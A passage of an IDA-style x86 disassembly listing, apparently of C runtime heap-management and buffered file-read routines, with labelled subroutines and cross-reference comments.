		mov	ecx, [ebp+var_C]
		mov	edi, [ecx+esi*8+4]
		lea	ecx, [ecx+esi*8]
		mov	[ebx+4], edi
		mov	[ebx+8], ecx
		mov	[ecx+4], ebx
		mov	ecx, [ebx+4]
		mov	[ecx+8], ebx
		mov	ecx, [ebx+4]
		cmp	ecx, [ebx+8]
		jnz	short loc_41E965
		mov	cl, [esi+eax+4]
		cmp	esi, 20h
		mov	byte ptr [ebp+arg_4+3],	cl
		inc	cl
		mov	[esi+eax+4], cl
		jnb	short loc_41E93C
		cmp	byte ptr [ebp+arg_4+3],	0
		jnz	short loc_41E92F
		mov	edi, 80000000h
		mov	ecx, esi
		shr	edi, cl
		mov	ecx, [ebp+arg_0]
		or	[ecx], edi


loc_41E92F:				; CODE XREF: sub_41E680+29Fj
		lea	eax, [eax+edx*4+44h]
		mov	edx, 80000000h
		mov	ecx, esi
		jmp	short loc_41E961
; ---------------------------------------------------------------------------


loc_41E93C:				; CODE XREF: sub_41E680+299j
		cmp	byte ptr [ebp+arg_4+3],	0
		jnz	short loc_41E952
		lea	ecx, [esi-20h]
		mov	edi, 80000000h
		shr	edi, cl
		mov	ecx, [ebp+arg_0]
		or	[ecx+4], edi


loc_41E952:				; CODE XREF: sub_41E680+2C0j
		lea	eax, [eax+edx*4+0C4h]
		lea	ecx, [esi-20h]
		mov	edx, 80000000h


loc_41E961:				; CODE XREF: sub_41E680+2BAj
		shr	edx, cl
		or	[eax], edx


loc_41E965:				; CODE XREF: sub_41E680+287j
		mov	eax, [ebp+arg_8]
		mov	[ebx], eax
		mov	[eax+ebx-4], eax


loc_41E96E:				; CODE XREF: sub_41E680+1A2j
					; sub_41E680:loc_41E82Ej
		push	1
		pop	eax


loc_41E971:				; CODE XREF: sub_41E680+1A9j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41E680	endp


; =============== S U B	R O U T	I N E =======================================



sub_41E976	proc near		; CODE XREF: sub_41EC6E:loc_41EE3Dp
		cmp	dword_43A9B0, 0FFFFFFFFh
		push	ebx
		push	ebp
		push	esi
		push	edi
		jnz	short loc_41E98A
		mov	esi, offset off_43A9A0
		jmp	short loc_41E9A7
; ---------------------------------------------------------------------------


loc_41E98A:				; CODE XREF: sub_41E976+Bj
		push	2020h
		push	0
		push	dword_4DCFE4
		nop
		call	near ptr 27F0000h
		mov	esi, eax
		test	esi, esi
		jz	loc_41EAB3


loc_41E9A7:				; CODE XREF: sub_41E976+12j
		mov	ebp, dword_4271C4
		push	4
		push	2000h
		push	400000h
		push	0
		call	ebp
		mov	edi, eax
		test	edi, edi
		jz	loc_41EA9C
		push	4
		mov	ebx, 10000h
		push	1000h
		push	ebx
		push	edi
		call	ebp
		test	eax, eax
		jz	loc_41EA8E
		mov	eax, offset off_43A9A0
		cmp	esi, eax
		jnz	short loc_41EA06
		cmp	off_43A9A0, 0
		jnz	short loc_41E9F6
		mov	off_43A9A0, eax


loc_41E9F6:				; CODE XREF: sub_41E976+79j
		cmp	off_43A9A4, 0
		jnz	short loc_41EA1B
		mov	off_43A9A4, eax
		jmp	short loc_41EA1B
; ---------------------------------------------------------------------------


loc_41EA06:				; CODE XREF: sub_41E976+70j
		mov	[esi], eax
		mov	eax, off_43A9A4
		mov	[esi+4], eax
		mov	off_43A9A4, esi
		mov	eax, [esi+4]
		mov	[eax], esi


loc_41EA1B:				; CODE XREF: sub_41E976+87j
					; sub_41E976+8Ej
		lea	eax, [edi+400000h]
		lea	ecx, [esi+98h]
		mov	[esi+14h], eax
		lea	eax, [esi+18h]
		mov	[esi+0Ch], ecx
		mov	[esi+10h], edi
		mov	[esi+8], eax
		xor	ebp, ebp
		mov	ecx, 0F1h


loc_41EA3D:				; CODE XREF: sub_41E976+E2j
		xor	edx, edx
		cmp	ebp, 10h
		setnl	dl
		dec	edx
		and	edx, ecx
		dec	edx
		inc	ebp
		mov	[eax], edx
		mov	[eax+4], ecx
		add	eax, 8
		cmp	ebp, 400h
		jl	short loc_41EA3D
		push	ebx
		push	0
		push	edi
		call	sub_41B590
		add	esp, 0Ch


loc_41EA66:				; CODE XREF: sub_41E976+112j
		mov	eax, [esi+10h]
		add	eax, ebx
		cmp	edi, eax
		jnb	short loc_41EA8A
		or	byte ptr [edi+0F8h], 0FFh
		lea	eax, [edi+8]
		mov	[edi], eax
		mov	dword ptr [edi+4], 0F0h
		add	edi, 1000h
		jmp	short loc_41EA66
; ---------------------------------------------------------------------------


loc_41EA8A:				; CODE XREF: sub_41E976+F7j
		mov	eax, esi
		jmp	short loc_41EAB5
; ---------------------------------------------------------------------------


loc_41EA8E:				; CODE XREF: sub_41E976+63j
		push	8000h
		push	0
		push	edi
		nop
		call	near ptr 28E0619h


loc_41EA9C:				; CODE XREF: sub_41E976+4Bj
		cmp	esi, offset off_43A9A0
		jz	short loc_41EAB3
		push	esi
		push	0
		push	dword_4DCFE4
		nop
		call	near ptr 27E0000h


loc_41EAB3:				; CODE XREF: sub_41E976+2Bj
					; sub_41E976+12Cj
		xor	eax, eax


loc_41EAB5:				; CODE XREF: sub_41E976+116j
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn
sub_41E976	endp


; =============== S U B	R O U T	I N E =======================================



sub_41EABA	proc near		; CODE XREF: sub_41EB10+A5p

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		push	8000h
		push	0
		push	dword ptr [esi+10h]
		nop
		call	near ptr 28E0619h
		cmp	off_43C9C0, esi
		jnz	short loc_41EADF
		mov	eax, [esi+4]
		mov	off_43C9C0, eax


loc_41EADF:				; CODE XREF: sub_41EABA+1Bj
		cmp	esi, offset off_43A9A0
		jz	short loc_41EB07
		mov	eax, [esi+4]
		mov	ecx, [esi]
		push	esi
		push	0
		mov	[eax], ecx
		mov	eax, [esi]
		mov	ecx, [esi+4]
		mov	[eax+4], ecx
		push	dword_4DCFE4
		call	near ptr 27E0000h
		nop
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_41EB07:				; CODE XREF: sub_41EABA+2Bj
		or	dword_43A9B0, 0FFFFFFFFh
		pop	esi
		retn
sub_41EABA	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41EB10	proc near		; CODE XREF: sub_41EC29+3Ep

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		mov	esi, off_43A9A4
		push	edi


loc_41EB1D:				; CODE XREF: sub_41EB10+B7j
		cmp	dword ptr [esi+10h], 0FFFFFFFFh
		jz	loc_41EBBB
		and	[ebp+var_4], 0
		lea	edi, [esi+2010h]
		mov	ebx, 3FF000h


loc_41EB36:				; CODE XREF: sub_41EB10+72j
		cmp	dword ptr [edi], 0F0h
		jnz	short loc_41EB77
		mov	eax, ebx
		push	4000h
		add	eax, [esi+10h]
		push	1000h
		push	eax
		nop
		call	near ptr 28E0619h
		test	eax, eax
		jz	short loc_41EB77
		or	dword ptr [edi], 0FFFFFFFFh
		dec	dword_4DB9C4
		mov	eax, [esi+0Ch]
		test	eax, eax
		jz	short loc_41EB6C
		cmp	eax, edi
		jbe	short loc_41EB6F


loc_41EB6C:				; CODE XREF: sub_41EB10+56j
		mov	[esi+0Ch], edi


loc_41EB6F:				; CODE XREF: sub_41EB10+5Aj
		inc	[ebp+var_4]
		dec	[ebp+arg_0]
		jz	short loc_41EB84


loc_41EB77:				; CODE XREF: sub_41EB10+2Cj
					; sub_41EB10+46j
		sub	ebx, 1000h
		sub	edi, 8
		test	ebx, ebx
		jge	short loc_41EB36


loc_41EB84:				; CODE XREF: sub_41EB10+65j
		cmp	[ebp+var_4], 0
		mov	ecx, esi
		mov	esi, [esi+4]
		jz	short loc_41EBBB
		cmp	dword ptr [ecx+18h], 0FFFFFFFFh
		jnz	short loc_41EBBB
		push	1
		lea	eax, [ecx+20h]
		pop	edx


loc_41EB9B:				; CODE XREF: sub_41EB10+9Aj
		cmp	dword ptr [eax], 0FFFFFFFFh
		jnz	short loc_41EBAC
		inc	edx
		add	eax, 8
		cmp	edx, 400h
		jl	short loc_41EB9B


loc_41EBAC:				; CODE XREF: sub_41EB10+8Ej
		cmp	edx, 400h
		jnz	short loc_41EBBB
		push	ecx
		call	sub_41EABA
		pop	ecx


loc_41EBBB:				; CODE XREF: sub_41EB10+11j
					; sub_41EB10+7Dj ...
		cmp	esi, off_43A9A4
		jz	short loc_41EBCD
		cmp	[ebp+arg_0], 0
		jg	loc_41EB1D


loc_41EBCD:				; CODE XREF: sub_41EB10+B1j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41EB10	endp


; =============== S U B	R O U T	I N E =======================================



sub_41EBD2	proc near		; CODE XREF: sub_41B0B1+3Ap
					; sub_41B202+173p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		mov	eax, [esp+arg_0]
		mov	edx, offset off_43A9A0
		push	esi
		mov	ecx, edx


loc_41EBDE:				; CODE XREF: sub_41EBD2+1Cj
		cmp	eax, [ecx+10h]
		jbe	short loc_41EBE8
		cmp	eax, [ecx+14h]
		jb	short loc_41EBF0


loc_41EBE8:				; CODE XREF: sub_41EBD2+Fj
		mov	ecx, [ecx]
		cmp	ecx, edx
		jz	short loc_41EC25
		jmp	short loc_41EBDE
; ---------------------------------------------------------------------------


loc_41EBF0:				; CODE XREF: sub_41EBD2+14j
		test	al, 0Fh
		jnz	short loc_41EC25
		mov	esi, eax
		mov	edx, 100h
		and	esi, 0FFFh
		cmp	esi, edx
		jb	short loc_41EC25
		mov	esi, [esp+4+arg_4]
		mov	[esi], ecx
		mov	esi, [esp+4+arg_8]
		mov	ecx, eax
		and	cx, 0F000h
		sub	eax, ecx
		mov	[esi], ecx
		sub	eax, edx
		pop	esi
		sar	eax, 4
		lea	eax, [eax+ecx+8]
		retn
; ---------------------------------------------------------------------------


loc_41EC25:				; CODE XREF: sub_41EBD2+1Aj
					; sub_41EBD2+20j ...
		xor	eax, eax
		pop	esi
		retn
sub_41EBD2	endp


; =============== S U B	R O U T	I N E =======================================



sub_41EC29	proc near		; CODE XREF: sub_41B0B1+4Dp
					; sub_41B202+1D5p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		mov	eax, [esp+arg_0]
		mov	ecx, [esp+arg_4]
		sub	ecx, [eax+10h]
		sar	ecx, 0Ch
		lea	eax, [eax+ecx*8+18h]
		mov	ecx, [esp+arg_8]
		movzx	edx, byte ptr [ecx]
		add	[eax], edx
		and	byte ptr [ecx],	0
		cmp	dword ptr [eax], 0F0h
		mov	dword ptr [eax+4], 0F1h
		jnz	short locret_41EC6D
		inc	dword_4DB9C4
		cmp	dword_4DB9C4, 20h
		jnz	short locret_41EC6D
		push	10h
		call	sub_41EB10
		pop	ecx

locret_41EC6D:				; CODE XREF: sub_41EC29+2Bj
					; sub_41EC29+3Aj
		retn
sub_41EC29	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41EC6E	proc near		; CODE XREF: sub_41B202+1ACp
					; sub_41B513+4Ap ...

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	ebx
		push	esi
		mov	esi, off_43C9C0
		push	edi


loc_41EC7C:				; CODE XREF: sub_41EC6E+C6j
		mov	edx, [esi+10h]
		cmp	edx, 0FFFFFFFFh
		jz	loc_41ED27
		mov	edi, [esi+8]
		lea	ecx, [esi+2018h]
		mov	eax, edi
		sub	eax, esi
		sub	eax, 18h
		sar	eax, 3
		shl	eax, 0Ch
		add	eax, edx
		cmp	edi, ecx
		mov	[ebp+var_4], eax
		jnb	short loc_41ECE1


loc_41ECA7:				; CODE XREF: sub_41EC6E+6Fj
		mov	ecx, [edi]
		mov	ebx, [ebp+arg_0]
		cmp	ecx, ebx
		jl	short loc_41ECCA
		cmp	[edi+4], ebx
		jbe	short loc_41ECCA
		push	ebx
		push	ecx
		push	eax
		call	sub_41EE76
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_41ED39
		mov	eax, [ebp+var_4]
		mov	[edi+4], ebx


loc_41ECCA:				; CODE XREF: sub_41EC6E+40j
					; sub_41EC6E+45j
		add	edi, 8
		lea	ecx, [esi+2018h]
		add	eax, 1000h
		cmp	edi, ecx
		mov	[ebp+var_4], eax
		jb	short loc_41ECA7
		jmp	short loc_41ECE4
; ---------------------------------------------------------------------------


loc_41ECE1:				; CODE XREF: sub_41EC6E+37j
		mov	ebx, [ebp+arg_0]


loc_41ECE4:				; CODE XREF: sub_41EC6E+71j
		mov	eax, [esi+8]
		mov	ecx, [esi+10h]
		lea	edi, [esi+18h]
		mov	[ebp+var_8], eax
		cmp	edi, eax
		mov	[ebp+var_4], ecx
		jnb	short loc_41ED2A


loc_41ECF7:				; CODE XREF: sub_41EC6E+B5j
		mov	eax, [edi]
		cmp	eax, ebx
		jl	short loc_41ED16
		cmp	[edi+4], ebx
		jbe	short loc_41ED16
		push	ebx
		push	eax
		push	[ebp+var_4]
		call	sub_41EE76
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_41ED39
		mov	[edi+4], ebx


loc_41ED16:				; CODE XREF: sub_41EC6E+8Dj
					; sub_41EC6E+92j
		add	[ebp+var_4], 1000h
		add	edi, 8
		cmp	edi, [ebp+var_8]
		jb	short loc_41ECF7
		jmp	short loc_41ED2A
; ---------------------------------------------------------------------------


loc_41ED27:				; CODE XREF: sub_41EC6E+14j
		mov	ebx, [ebp+arg_0]


loc_41ED2A:				; CODE XREF: sub_41EC6E+87j
					; sub_41EC6E+B7j
		mov	esi, [esi]
		cmp	esi, off_43C9C0
		jz	short loc_41ED49
		jmp	loc_41EC7C
; ---------------------------------------------------------------------------


loc_41ED39:				; CODE XREF: sub_41EC6E+54j
					; sub_41EC6E+A3j
		mov	off_43C9C0, esi
		sub	[edi], ebx
		mov	[esi+8], edi
		jmp	loc_41EE71
; ---------------------------------------------------------------------------


loc_41ED49:				; CODE XREF: sub_41EC6E+C4j
		mov	eax, offset off_43A9A0
		mov	edi, eax


loc_41ED50:				; CODE XREF: sub_41EC6E+F8j
		cmp	dword ptr [edi+10h], 0FFFFFFFFh
		jz	short loc_41ED5C
		cmp	dword ptr [edi+0Ch], 0
		jnz	short loc_41ED68


loc_41ED5C:				; CODE XREF: sub_41EC6E+E6j
		mov	edi, [edi]
		cmp	edi, eax
		jz	loc_41EE3D
		jmp	short loc_41ED50
; ---------------------------------------------------------------------------


loc_41ED68:				; CODE XREF: sub_41EC6E+ECj
		mov	ebx, [edi+0Ch]
		and	[ebp+var_4], 0
		mov	esi, ebx
		mov	eax, ebx
		sub	esi, edi
		sub	esi, 18h
		sar	esi, 3
		shl	esi, 0Ch
		add	esi, [edi+10h]
		cmp	dword ptr [ebx], 0FFFFFFFFh
		jnz	short loc_41ED97


loc_41ED86:				; CODE XREF: sub_41EC6E+127j
		cmp	[ebp+var_4], 10h
		jge	short loc_41ED97
		add	eax, 8
		inc	[ebp+var_4]
		cmp	dword ptr [eax], 0FFFFFFFFh
		jz	short loc_41ED86


loc_41ED97:				; CODE XREF: sub_41EC6E+116j
					; sub_41EC6E+11Cj
		mov	eax, [ebp+var_4]
		push	4
		shl	eax, 0Ch
		push	1000h
		push	eax
		push	esi
		mov	[ebp+var_8], eax
		nop
		call	near ptr 28E0772h
		cmp	eax, esi
		jnz	loc_41EE6F
		push	0
		push	[ebp+var_8]
		push	esi
		call	sub_41B590
		mov	edx, [ebp+var_4]
		add	esp, 0Ch
		test	edx, edx
		mov	ecx, ebx
		jle	short loc_41EDFE
		lea	eax, [esi+4]
		mov	[ebp+var_4], edx


loc_41EDD4:				; CODE XREF: sub_41EC6E+18Ej
		or	byte ptr [eax+0F4h], 0FFh
		lea	edx, [eax+4]
		mov	[eax-4], edx
		mov	edx, 0F0h
		mov	[eax], edx
		mov	[ecx], edx
		mov	dword ptr [ecx+4], 0F1h
		add	eax, 1000h
		add	ecx, 8
		dec	[ebp+var_4]
		jnz	short loc_41EDD4


loc_41EDFE:				; CODE XREF: sub_41EC6E+15Ej
		mov	off_43C9C0, edi
		lea	eax, [edi+2018h]


loc_41EE0A:				; CODE XREF: sub_41EC6E+1A8j
		cmp	ecx, eax
		jnb	short loc_41EE1A
		cmp	dword ptr [ecx], 0FFFFFFFFh
		jz	short loc_41EE18
		add	ecx, 8
		jmp	short loc_41EE0A
; ---------------------------------------------------------------------------


loc_41EE18:				; CODE XREF: sub_41EC6E+1A3j
		cmp	ecx, eax


loc_41EE1A:				; CODE XREF: sub_41EC6E+19Ej
		sbb	eax, eax
		and	eax, ecx
		mov	[edi+0Ch], eax
		mov	eax, [ebp+arg_0]
		mov	[esi+8], al
		mov	[edi+8], ebx
		sub	[ebx], eax
		sub	[esi+4], eax
		lea	ecx, [esi+eax+8]
		lea	eax, [esi+100h]
		mov	[esi], ecx
		jmp	short loc_41EE71
; ---------------------------------------------------------------------------


loc_41EE3D:				; CODE XREF: sub_41EC6E+F2j
		call	sub_41E976
		test	eax, eax
		jz	short loc_41EE6F
		mov	ecx, [eax+10h]
		mov	[ecx+8], bl
		lea	edx, [ecx+ebx+8]
		mov	off_43C9C0, eax
		mov	[ecx], edx
		mov	edx, 0F0h
		sub	edx, ebx
		mov	[ecx+4], edx
		movzx	edx, bl
		sub	[eax+18h], edx
		lea	eax, [ecx+100h]
		jmp	short loc_41EE71
; ---------------------------------------------------------------------------


loc_41EE6F:				; CODE XREF: sub_41EC6E+143j
					; sub_41EC6E+1D6j
		xor	eax, eax


loc_41EE71:				; CODE XREF: sub_41EC6E+D6j
					; sub_41EC6E+1CDj ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41EC6E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41EE76	proc near		; CODE XREF: sub_41EC6E+4Ap
					; sub_41EC6E+99p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	ecx, [ebp+arg_0]
		mov	edx, [ebp+arg_8]
		push	ebx
		push	esi
		mov	esi, [ecx+4]
		push	edi
		mov	edi, [ecx]
		lea	ebx, [ecx+0F8h]
		cmp	esi, edx
		mov	[ebp+var_4], edi
		mov	eax, edi
		mov	[ebp+arg_0], ebx
		jb	short loc_41EEBB
		lea	eax, [edi+edx]
		mov	[edi], dl
		cmp	eax, ebx
		jnb	short loc_41EEAA
		add	[ecx], edx
		sub	[ecx+4], edx
		jmp	short loc_41EEB3
; ---------------------------------------------------------------------------


loc_41EEAA:				; CODE XREF: sub_41EE76+2Bj
		and	dword ptr [ecx+4], 0
		lea	eax, [ecx+8]
		mov	[ecx], eax


loc_41EEB3:				; CODE XREF: sub_41EE76+32j
		lea	eax, [edi+8]
		jmp	loc_41EF89
; ---------------------------------------------------------------------------


loc_41EEBB:				; CODE XREF: sub_41EE76+22j
		add	esi, edi
		cmp	byte ptr [esi],	0
		jz	short loc_41EEC4
		mov	eax, esi


loc_41EEC4:				; CODE XREF: sub_41EE76+4Aj
		lea	esi, [eax+edx]
		cmp	esi, ebx
		jnb	short loc_41EF0E


loc_41EECB:				; CODE XREF: sub_41EE76+96j
		mov	bl, [eax]
		test	bl, bl
		jnz	short loc_41EF01
		push	1
		lea	ebx, [eax+1]
		pop	esi


loc_41EED7:				; CODE XREF: sub_41EE76+68j
		cmp	byte ptr [ebx],	0
		jnz	short loc_41EEE0
		inc	ebx
		inc	esi
		jmp	short loc_41EED7
; ---------------------------------------------------------------------------


loc_41EEE0:				; CODE XREF: sub_41EE76+64j
		cmp	esi, edx
		jnb	short loc_41EF32
		cmp	eax, [ebp+var_4]
		jnz	short loc_41EEEE
		mov	[ecx+4], esi
		jmp	short loc_41EEFA
; ---------------------------------------------------------------------------


loc_41EEEE:				; CODE XREF: sub_41EE76+71j
		sub	[ebp+arg_4], esi
		cmp	[ebp+arg_4], edx
		jb	loc_41EF93


loc_41EEFA:				; CODE XREF: sub_41EE76+76j
		mov	edi, [ebp+var_4]
		mov	eax, ebx
		jmp	short loc_41EF06
; ---------------------------------------------------------------------------


loc_41EF01:				; CODE XREF: sub_41EE76+59j
		movzx	esi, bl
		add	eax, esi


loc_41EF06:				; CODE XREF: sub_41EE76+89j
		lea	esi, [eax+edx]
		cmp	esi, [ebp+arg_0]
		jb	short loc_41EECB


loc_41EF0E:				; CODE XREF: sub_41EE76+53j
		lea	esi, [ecx+8]


loc_41EF11:				; CODE XREF: sub_41EE76+EBj
					; sub_41EE76+F2j
		cmp	esi, edi
		jnb	short loc_41EF93
		lea	eax, [esi+edx]
		cmp	eax, [ebp+arg_0]
		jnb	short loc_41EF93
		mov	al, [esi]
		test	al, al
		jnz	short loc_41EF63
		push	1
		lea	ebx, [esi+1]
		pop	eax


loc_41EF29:				; CODE XREF: sub_41EE76+BAj
		cmp	byte ptr [ebx],	0
		jnz	short loc_41EF53
		inc	ebx
		inc	eax
		jmp	short loc_41EF29
; ---------------------------------------------------------------------------


loc_41EF32:				; CODE XREF: sub_41EE76+6Cj
		lea	ebx, [eax+edx]
		cmp	ebx, [ebp+arg_0]
		jnb	short loc_41EF43
		sub	esi, edx
		mov	[ecx], ebx
		mov	[ecx+4], esi
		jmp	short loc_41EF4C
; ---------------------------------------------------------------------------


loc_41EF43:				; CODE XREF: sub_41EE76+C2j
		and	dword ptr [ecx+4], 0
		lea	esi, [ecx+8]
		mov	[ecx], esi


loc_41EF4C:				; CODE XREF: sub_41EE76+CBj
		mov	[eax], dl
		add	eax, 8
		jmp	short loc_41EF89
; ---------------------------------------------------------------------------


loc_41EF53:				; CODE XREF: sub_41EE76+B6j
		cmp	eax, edx
		jnb	short loc_41EF6A
		sub	[ebp+arg_4], eax
		cmp	[ebp+arg_4], edx
		jb	short loc_41EF93
		mov	esi, ebx
		jmp	short loc_41EF11
; ---------------------------------------------------------------------------


loc_41EF63:				; CODE XREF: sub_41EE76+ABj
		movzx	eax, al
		add	esi, eax
		jmp	short loc_41EF11
; ---------------------------------------------------------------------------


loc_41EF6A:				; CODE XREF: sub_41EE76+DFj
		lea	ebx, [esi+edx]
		cmp	ebx, [ebp+arg_0]
		jnb	short loc_41EF7B
		sub	eax, edx
		mov	[ecx], ebx
		mov	[ecx+4], eax
		jmp	short loc_41EF84
; ---------------------------------------------------------------------------


loc_41EF7B:				; CODE XREF: sub_41EE76+FAj
		and	dword ptr [ecx+4], 0
		lea	eax, [ecx+8]
		mov	[ecx], eax


loc_41EF84:				; CODE XREF: sub_41EE76+103j
		mov	[esi], dl
		lea	eax, [esi+8]


loc_41EF89:				; CODE XREF: sub_41EE76+40j
					; sub_41EE76+DBj
		imul	ecx, 0Fh
		shl	eax, 4
		sub	eax, ecx
		jmp	short loc_41EF95
; ---------------------------------------------------------------------------


loc_41EF93:				; CODE XREF: sub_41EE76+7Ej
					; sub_41EE76+9Dj ...
		xor	eax, eax


loc_41EF95:				; CODE XREF: sub_41EE76+11Bj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41EE76	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41EF9A	proc near		; CODE XREF: sub_41B202+19Ap

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	edx, [ebp+arg_8]
		push	ebx
		mov	ebx, [ebp+arg_4]
		push	esi
		movzx	ecx, byte ptr [edx]
		push	edi
		mov	edi, [ebp+arg_0]
		and	[ebp+var_4], 0
		mov	eax, ebx
		sub	eax, [edi+10h]
		sar	eax, 0Ch
		cmp	ecx, [ebp+arg_C]
		lea	edi, [edi+eax*8+18h]
		jbe	short loc_41EFD4
		mov	eax, [ebp+arg_C]
		sub	ecx, eax
		mov	[edx], al
		add	[edi], ecx
		mov	dword ptr [edi+4], 0F1h
		jmp	short loc_41F034
; ---------------------------------------------------------------------------


loc_41EFD4:				; CODE XREF: sub_41EF9A+26j
		jnb	short loc_41F03B
		mov	eax, [ebp+arg_C]
		lea	esi, [edx+eax]
		lea	eax, [ebx+0F8h]
		cmp	eax, esi
		jb	short loc_41F03B
		lea	eax, [ecx+edx]


loc_41EFE9:				; CODE XREF: sub_41EF9A+59j
		cmp	eax, esi
		jnb	short loc_41EFF7
		cmp	byte ptr [eax],	0
		jnz	short loc_41EFF5
		inc	eax
		jmp	short loc_41EFE9
; ---------------------------------------------------------------------------


loc_41EFF5:				; CODE XREF: sub_41EF9A+56j
		cmp	eax, esi


loc_41EFF7:				; CODE XREF: sub_41EF9A+51j
		jnz	short loc_41F03B
		mov	al, byte ptr [ebp+arg_C]
		mov	[edx], al
		mov	eax, [ebx]
		cmp	edx, eax
		ja	short loc_41F02F
		cmp	esi, eax
		jbe	short loc_41F02F
		lea	eax, [ebx+0F8h]
		cmp	esi, eax
		jnb	short loc_41F026
		xor	eax, eax
		mov	[ebx], esi
		cmp	[esi], al
		jnz	short loc_41F021


loc_41F01A:				; CODE XREF: sub_41EF9A+85j
		inc	eax
		cmp	byte ptr [esi+eax], 0
		jz	short loc_41F01A


loc_41F021:				; CODE XREF: sub_41EF9A+7Ej
		mov	[ebx+4], eax
		jmp	short loc_41F02F
; ---------------------------------------------------------------------------


loc_41F026:				; CODE XREF: sub_41EF9A+76j
		and	dword ptr [ebx+4], 0
		lea	eax, [ebx+8]
		mov	[ebx], eax


loc_41F02F:				; CODE XREF: sub_41EF9A+68j
					; sub_41EF9A+6Cj ...
		sub	ecx, [ebp+arg_C]
		add	[edi], ecx


loc_41F034:				; CODE XREF: sub_41EF9A+38j
		mov	[ebp+var_4], 1


loc_41F03B:				; CODE XREF: sub_41EF9A:loc_41EFD4j
					; sub_41EF9A+4Aj ...
		mov	eax, [ebp+var_4]
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41EF9A	endp


; =============== S U B	R O U T	I N E =======================================



sub_41F043	proc near		; CODE XREF: sub_41B11A+A9p
					; sub_41BB4F+2Dp ...

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		mov	eax, [esi+0Ch]
		test	al, 83h
		jz	loc_41F117
		test	al, 40h
		jnz	loc_41F117
		test	al, 2
		jz	short loc_41F069
		or	al, 20h
		mov	[esi+0Ch], eax
		jmp	loc_41F117
; ---------------------------------------------------------------------------


loc_41F069:				; CODE XREF: sub_41F043+1Aj
		or	al, 1
		test	ax, 10Ch
		mov	[esi+0Ch], eax
		jnz	short loc_41F07D
		push	esi
		call	sub_4239EF
		pop	ecx
		jmp	short loc_41F082
; ---------------------------------------------------------------------------


loc_41F07D:				; CODE XREF: sub_41F043+2Fj
		mov	eax, [esi+8]
		mov	[esi], eax


loc_41F082:				; CODE XREF: sub_41F043+38j
		push	dword ptr [esi+18h]
		push	dword ptr [esi+8]
		push	dword ptr [esi+10h]
		call	sub_41F11C
		add	esp, 0Ch
		mov	[esi+4], eax
		test	eax, eax
		jz	short loc_41F106
		cmp	eax, 0FFFFFFFFh
		jz	short loc_41F106
		mov	edx, [esi+0Ch]
		test	dl, 82h
		jnz	short loc_41F0DB
		mov	ecx, [esi+10h]
		push	edi
		cmp	ecx, 0FFFFFFFFh
		jz	short loc_41F0C4
		mov	edi, ecx
		sar	edi, 5
		and	ecx, 1Fh
		mov	edi, dword_4DCCA0[edi*4]
		lea	edi, [edi+ecx*8]
		jmp	short loc_41F0C9
; ---------------------------------------------------------------------------


loc_41F0C4:				; CODE XREF: sub_41F043+6Bj
		mov	edi, offset dword_43D020


loc_41F0C9:				; CODE XREF: sub_41F043+7Fj
		mov	cl, [edi+4]
		pop	edi
		and	cl, 82h
		cmp	cl, 82h
		jnz	short loc_41F0DB
		or	dh, 20h
		mov	[esi+0Ch], edx


loc_41F0DB:				; CODE XREF: sub_41F043+62j
					; sub_41F043+90j
		cmp	dword ptr [esi+18h], 200h
		jnz	short loc_41F0F8
		mov	ecx, [esi+0Ch]
		test	cl, 8
		jz	short loc_41F0F8
		test	ch, 4
		jnz	short loc_41F0F8
		mov	dword ptr [esi+18h], 1000h


loc_41F0F8:				; CODE XREF: sub_41F043+9Fj
					; sub_41F043+A7j ...
		mov	ecx, [esi]
		dec	eax
		mov	[esi+4], eax
		movzx	eax, byte ptr [ecx]
		inc	ecx
		mov	[esi], ecx
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_41F106:				; CODE XREF: sub_41F043+55j
					; sub_41F043+5Aj
		neg	eax
		sbb	eax, eax
		and	eax, 10h
		add	eax, 10h
		or	[esi+0Ch], eax
		and	dword ptr [esi+4], 0


loc_41F117:				; CODE XREF: sub_41F043+Aj
					; sub_41F043+12j ...
		or	eax, 0FFFFFFFFh
		pop	esi
		retn
sub_41F043	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41F11C	proc near		; CODE XREF: sub_41B11A+90p
					; sub_41F043+48p ...

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_1		= byte ptr -1
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	ebx
		push	esi
		mov	esi, [ebp+arg_0]
		push	edi
		cmp	esi, dword_4DCDA0
		jnb	loc_41F2F9
		mov	eax, esi
		and	esi, 1Fh
		sar	eax, 5
		shl	esi, 3
		lea	ebx, ds:4DCCA0h[eax*4]
		mov	eax, dword_4DCCA0[eax*4]
		add	eax, esi
		mov	dl, [eax+4]
